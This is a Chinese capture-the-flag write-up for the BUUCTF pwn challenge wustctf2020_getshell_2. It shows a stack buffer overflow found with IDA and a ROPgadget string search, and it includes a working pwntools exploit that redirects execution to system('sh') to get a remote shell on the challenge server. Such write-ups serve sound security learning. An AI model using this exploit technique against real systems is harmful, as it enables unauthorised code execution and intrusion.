BUUCTF wustctf2020_getshell_2 ret2shellcode


check一下,32位的程序且没有开任何保护

用ida打开,vuln很明显这是一个漏洞函数,f5查看一下伪代码,可以看到buf距离栈底0x18个字节

这是shell函数的伪代码,我们可以看到虽然这个并不是我们想要的shell(不是/bin/sh),但是程序里面有sh的字符串可以供我们利用,那我们现在就查找一下"sh"所在的位置

$ ROPgadget --binary '/home/pwn/Desktop/wustctf2020_getshell_2'  --string "sh"0x08048670 : sh

找到"sh"所在的地址为0x08048670

之后我们找到这个call _system所在的地址,如图为0x8048529,接下来构造exp吧:

from pwn import *
p=remote('node3.buuoj.cn',29749)
sh=0x08048670
system_call=0x8048529
payload=b'a'*0x18+b'aaaa'+p32(system_call)+p32(sh)
p.sendline(payload)
p.interactive()

这个里面的system函数不需要加上它的返回地址,原因是:当程序调用call的时候,会将下一个地址中的值压入栈中,直接去执行了system(“sh”),所以就不需要返回地址了

放上拿到的flag

buuctf wustctf2020_getshell_2 ret2shellcode相关推荐

  1. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  2. BUUCTF的Web真题学习整理(一)

    目录 WEB1-WarmUp (任意文件包含漏洞) WEB2-高明的黑客(fuzz脚本) WEB3-easy_tornado (服务端模板注入(ssti攻击)) WEB4-Hack World(时间盲 ...

  3. [BUUCTF-pwn]——wustctf2020_getshell_2

    [BUUCTF-pwn]--wustctf2020_getshell_2 有system没有sh.所以找一下 exploit from pwn import * p = remote('node3.b ...

  4. BUUCTF寒假刷题-Web

    前言 寒假横向刷题(尽量) BUUCTF

  5. BUUCTF之[Zer0pts2020]Can you guess it? basename函数绕过

    BUUCTF之[Zer0pts2020]Can you guess it? basename函数绕过 题目 后台PHP源码: <?php include 'config.php'; // FLA ...

  6. BUUCTF刷题笔记

    BUUCTF刷题笔记 [极客大挑战 2019]BabySQL 从这句话我们可以看出,这个网站的后台是做了过滤处理的 这个时候我们先用万能密码实验一下看看,是什么类型的SQL注入 输入1',看看返回的结 ...

  7. BUUCTF Quoted-printable编码

    Quoted-printable可译为"可打印字符引用编码",编码常用在电子邮件中,如:Content-Transfer-Encoding: quoted-printable ,它 ...

  8. BUUCTF NewStarCTF一些新知识记录

    提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 目录 前言 一.eazyxor 二.RSA_begin 三.Yesec no drumsticks 四.EzSnake 五.Pyre ...

  9. buuctf Mark loves cat

    buuctf Mark loves cat 打开是个静态页面,源码也无任何有用信息 dirsearch扫描后发现.git泄露 GitHack.py下载得到两个php文件,接下来就是代码审计: flag ...

最新文章

  1. React Native 0.59.0 发布,使用 React 编写原生应用
  2. linux线程关闭信号,Linux/UNIX用同步方法处理异步信号
  3. button/input链接方式全攻略 [转]
  4. InternetOpen InternetOpenUrl InternetReadFile 和 InternetCloseHandle
  5. spring boot 整合redis实现方法缓存
  6. 在阿里云Kubernetes上运行SpringCloud示例PiggyMetrics
  7. 一个SAP Marketing Cloud和Kyma的集成
  8. Linux命令之 mount -- 文件系统挂载
  9. JavaScript中的地图与对象
  10. Test 2018-07-19 二中集训
  11. iPhone 13系列整机较iPhone 12更重 最重接近半斤
  12. 反击网络执法官(转)
  13. 双绞线为什么要绞起来
  14. 毛笔字软件测试简历,写字测试
  15. python整数反转
  16. 分糖果 2021T1
  17. 市场调研-全球与中国VR和AR光学器件市场现状及未来发展趋势
  18. 【IM集成攻略】手把手教你环信对接离线推送,再搞不定把你头打掉
  19. 计算机简单易懂知识,如何选购电脑主板?小白装机简单易懂的电脑主板选购知识指南...
  20. 小程序 timestamp_通过构建Timestamp微服务应用程序来学习Node.js

热门文章

  1. 支付宝支付开发的防钓鱼的时代已经到来
  2. 使用word2vec对新浪微博进行情感分析和分类
  3. 定义一个圆,求圆的面积
  4. [附源码]java毕业设计 宠物医院管理系统
  5. C++ pthread cond_wait 和 cond_broadcast的使用
  6. 对于顺序表和链表的区别
  7. 兴趣部落怎么显示无法连接服务器,QQ兴趣部落将停运 曾被官方通报“诱导未成年人无底线追星”...
  8. 电力电子应用技术的matlab仿真 光盘,《电力电子应用技术的MATLAB仿真》.pdf
  9. Excel 将一列数据分成多列
  10. shell字符串中同时包含单引号和双引号的一种处理方法